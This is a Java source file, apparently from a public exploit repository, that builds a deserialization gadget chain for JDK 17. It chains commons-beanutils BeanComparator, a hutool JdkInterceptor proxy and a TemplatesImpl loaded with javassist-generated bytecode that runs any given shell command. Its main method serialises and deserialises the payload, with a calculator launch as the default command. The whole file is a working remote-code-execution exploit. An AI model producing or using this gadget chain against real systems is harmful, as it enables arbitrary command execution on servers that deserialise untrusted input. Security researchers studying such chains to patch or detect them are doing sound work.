1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138
| package org.unam4.gadget; import javassist.*; import java.io.*; import java.lang.reflect.*; import java.util.*; import javax.xml.transform.Templates; import org.apache.commons.beanutils.BeanComparator;
public class Jdk17CbChain { public static Object buildExploit(String command) throws Exception { Utils.bypassModule(Jdk17CbChain.class); Object templates = createTemplatesImpl(command); Object proxy = createJdkInterceptorProxy(templates); BeanComparator comparator = new BeanComparator("outputProperties"); return map2compare(comparator, proxy); } public static void main(String[] args) throws Exception { String command = args.length > 0 ? args[0] : "open -a Calculator"; Object payload = buildExploit(command); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream); oos.writeObject(payload); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray())); ois.readObject(); ois.close(); } private static Object createJdkInterceptorProxy(Object target) throws Exception { Class<?> interceptorClass = Class.forName("cn.hutool.aop.interceptor.JdkInterceptor"); Object interceptor = Utils.createWithoutConstructor(interceptorClass); Utils.setFieldValue(interceptor, "target", target); Utils.setFieldValue(interceptor, "aspect", Class.forName("cn.hutool.aop.aspects.SimpleAspect").newInstance()); return Proxy.newProxyInstance( Thread.currentThread().getContextClassLoader(), new Class[]{ Templates.class }, (InvocationHandler) interceptor ); } private static Object createTemplatesImpl(String command) throws Exception { byte[] evilClass = generateEvilClass(command); byte[] dummyClass = generateDummyClass(); Object templates = Utils.createWithoutConstructor("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Utils.setFieldValue(templates, "_bytecodes", new byte[][]{ evilClass, dummyClass }); Utils.setFieldValue(templates, "_name", "a"); Utils.setFieldValue(templates, "_class", null); Utils.setFieldValue(templates, "_transletIndex", 0); Object tf = Utils.createWithoutConstructor("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"); Utils.setFieldValue(tf, "_packageName", "com.sun.org.apache.xalan.internal.xsltc.trax"); Utils.setFieldValue(templates, "_tfactory", tf); return templates; } private static byte[] generateEvilClass(String command) throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("dsfsdkm" + System.nanoTime()); String body = "{" + "String[] cmd;" + "String os = System.getProperty(\"os.name\").toLowerCase();" + "if (os.contains(\"win\")) {" + " cmd = new String[]{\"cmd.exe\", \"/c\", \"" + command + "\"};" + "} else {" + " cmd = new String[]{\"/bin/sh\", \"-c\", \"" + command + "\"};" + "}" + "new java.lang.ProcessBuilder(cmd).start();" + "}"; ctClass.makeClassInitializer().insertBefore(body); byte[] bytecode = ctClass.toBytecode(); ctClass.detach(); return bytecode; } private static byte[] generateDummyClass() throws Exception { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("poal"); byte[] bytecode = ctClass.toBytecode(); ctClass.detach(); return bytecode; } public static HashMap<Object, Object> map2compare(Comparator o1, Object o2) throws Exception { TreeMap<Object, Object> m1 = new TreeMap<>(o1); Utils.setFieldValue(m1, "size", 1); Utils.setFieldValue(m1, "modCount", 1); Class<?> nodeC = Class.forName("java.util.TreeMap$Entry"); Constructor<?> nodeCons = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object node = nodeCons.newInstance(o2, 1, null); Utils.setFieldValue(m1, "root", node); TreeMap<Object, Object> m2 = new TreeMap<>(o1); Utils.setFieldValue(m2, "size", 1); Utils.setFieldValue(m2, "modCount", 1); Utils.setFieldValue(m2, "root", node); HashMap<Object, Object> s = new HashMap<>(); Utils.setFieldValue(s, "size", 2); Class<?> nodeD; try { nodeD = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeD = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeDons = nodeD.getDeclaredConstructor(int.class, Object.class, Object.class, nodeD); nodeDons.setAccessible(true); Object tbl = Array.newInstance(nodeD, 2); Array.set(tbl, 0, nodeDons.newInstance(0, m1, "key1", null)); Array.set(tbl, 1, nodeDons.newInstance(0, m2, "key2", null)); Utils.setFieldValue(s, "table", tbl); return s; } }
|